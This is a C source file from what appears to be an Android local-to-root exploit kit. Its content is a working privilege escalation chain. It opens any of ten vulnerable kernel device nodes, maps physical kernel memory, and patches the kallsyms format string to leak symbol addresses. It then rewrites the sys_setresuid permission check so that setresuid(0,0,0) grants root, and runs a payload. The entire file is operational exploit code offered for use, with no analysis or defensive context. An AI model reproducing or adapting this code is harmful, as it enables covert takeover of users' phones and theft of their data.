legacy_native/jni/local2root/exploit_list.c
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <exploit.h>
#include <kallsyms_in_memory.h>
#include <kallsyms.h>
#define MEMORY_OFFSET 0x40000000
/*******************************************/
/************* EXPLOIT STRUCTURES **********/
/*******************************************/
struct exploit sam = {SAM_EXP, "/dev/exynos-mem", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &finalize_exynos};
struct exploit aragorn = {ARAGORN_EXP, "/dev/video1", -1, -1, 0, 0x1000000, 0, NULL, (void*) &init_aragorn, (void*) &sleep_func};
struct exploit gimli = {GIMLI_EXP, "/dev/DspBridge", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func};
struct exploit merry = {MERRY_EXP, "/dev/s5p-smem", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func};
struct exploit frodo = {FRODO_EXP, "/dev/exynos-mem", -1, -1, 0xfffff000, 0x50000000, 0, NULL, (void*) &init_frodo, (void*) &finalize_exynos};
struct exploit legolas = {LEGOLAS_EXP, "/dev/graphics/fb5", -1, -1, 0, 0xa00000, 0, NULL, (void*) &init_legolas, (void*) &sleep_func};
struct exploit gandalf = {GANDALF_EXP, "/dev/msm_camera/config0", -1, -1, 0, 0x1000000, 0, (void*) &pre_init_gandalf, (void*) &init_gandalf, (void*) &sleep_func};
struct exploit boromir = {BOROMIR_EXP, "/dev/camera-isp", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func};
struct exploit boromir2 = {BOROMIR2_EXP, "/dev/camera-eis", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func};
struct exploit boromir3 = {BOROMIR3_EXP, "/dev/camera-sysram", -1, -1, 0, 0x1000000, 0, NULL, (void*) &set_offset, (void*) &sleep_func};
// Exploit global array
struct exploit* exp_list[] = {
&sam,
&aragorn,
&gimli,
&merry,
&frodo,
&legolas,
&gandalf,
&boromir,
&boromir2,
&boromir3
};
struct exploit* exp_list[];
struct restore_fmt {
unsigned long *ptr_fmt;
unsigned long ptr_fmt_value;
};
int main(int argc, char **argv) {
exploit(argc, argv);
}
// Run everything
int exploit(int args, char **cmd) {
int ret, i;
for(i = 0; i < (sizeof(exp_list)/4); i++) {
ret = exec_exploit(exp_list[i], args, cmd);
if(ret)
break;
}
return ret;
}
void cleanup(struct exploit *exp) {
if(exp->fd >= 0) {
close(exp->fd);
exp->fd = -1;
}
if(exp->fd2 >= 0) {
close(exp->fd2);
exp->fd2 = -1;
}
}
int exec_exploit(struct exploit *exp, int args, char **cmd) {
FILE *f;
int fd, ret, m, length, index;
char line[512];
char *str = NULL;
char *ptr = NULL;
unsigned long *paddr = NULL;
unsigned long *tmp = NULL;
unsigned long *restore_ptr_setresuid = NULL;
unsigned long addr_sym = 0;
unsigned long tmp2 = 0;
unsigned long start_offset = 0;
unsigned long *new_offset = NULL;
bool found = false;
struct restore_fmt r_fmt = { NULL, 0};
struct stat device_info;
// Check if the vulnerable device exists
if(stat(exp->dev, &device_info) < 0) {
cleanup(exp);
return 0;
}
// Exec pre_init function if defined
if(exp->pre_init != NULL) {
if(!exp->pre_init(exp)) {
cleanup(exp);
return 0;
}
}
fd = open(exp->dev, O_RDWR);
if(fd < 0) {
cleanup(exp);
return 0;
}
exp->fd = fd;
// Exec init function
ret = exp->init(exp);
if(!ret) {
cleanup(exp);
return 0;
}
length = exp->length;
start_offset = exp->start_offset;
/* Map the required kernel physical memory */
paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset);
new_offset = paddr;
if(start_offset)
new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2));
tmp = new_offset;
if (paddr == MAP_FAILED) {
cleanup(exp);
return 0;
}
f = fopen("/proc/kallsyms", "r");
if(!f) {
cleanup(exp);
return 0;
}
memset(line, 0, sizeof(line));
if(!(fgets(line, sizeof(line), f))) {
cleanup(exp);
return 0;
}
str = strtok(line, " ");
// Check if it is already possible to read kernel symbols from kallsyms
if(!strtoul(str, NULL, 16)) {
if((exp->length - 12) == 0) {
cleanup(exp);
return 0;
}
// Use libkallsyms first
if(kallsyms_in_memory_init(tmp, exp->length))
addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid");
// If libkallsyms failed try a second method
if(!addr_sym) {
/*
* search the format string "%pK %c %s\n" in memory
* and replace "%pK" by "%p" to force display kernel
* symbols pointer
*/
for(m = 0; m < (length - 12); m += 4) {
if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) {
r_fmt.ptr_fmt = (unsigned long *)tmp;
r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
*(unsigned long*)tmp = 0x20207025;
found = true;
break;
}
else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) {
r_fmt.ptr_fmt = (unsigned long *)(tmp+1);
r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1);
*(unsigned long*)(tmp+1) = 0x63252020;
found = true;
break;
}
else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) {
r_fmt.ptr_fmt = (unsigned long *)tmp;
r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
*(unsigned long*)tmp = (*(tmp)) & 0xff20ffff;
found = true;
break;
}
else
tmp++;
}
if (found == false) {
cleanup(exp);
return 0;
}
fclose(f);
// Now we should be able to read /proc/kallsyms
addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");
}
}
// If kallsysms is already mapped use it
else
addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");
if(!addr_sym) {
cleanup(exp);
return 0;
}
if(addr_sym) {
tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2;
tmp2 = tmp2 << 2;
tmp2 += (unsigned long) new_offset;
tmp = (unsigned long *)tmp2;
for(m = 0; m < 128; m += 4) {
// Search the cmp $r0, 0 check in the mapped sys_setresuid function
if (*(unsigned long *)tmp == 0xe3500000) {
// Patch with a cmp $r0, 1 instraction
restore_ptr_setresuid = tmp;
*(unsigned long *)tmp = 0xe3500001;
break;
}
tmp++;
}
}
// Finalize
if(!exp->finalize(exp)) {
cleanup(exp);
return 0;
}
/* ask for root */
ret = setresuid(0, 0, 0);
if(ret) {
cleanup(exp);
return 0;
}
// If everything was ok we are root now
exec_payload(args, cmd);
/* restore memory */
if(r_fmt.ptr_fmt != NULL)
*r_fmt.ptr_fmt = r_fmt.ptr_fmt_value;
if(restore_ptr_setresuid != NULL)
*(unsigned long *)restore_ptr_setresuid = 0xe3500000;
msync(paddr, length, 4);
munmap(paddr, length);
close(fd);
if(exp->fd2)
close(exp->fd2);
return 1;
}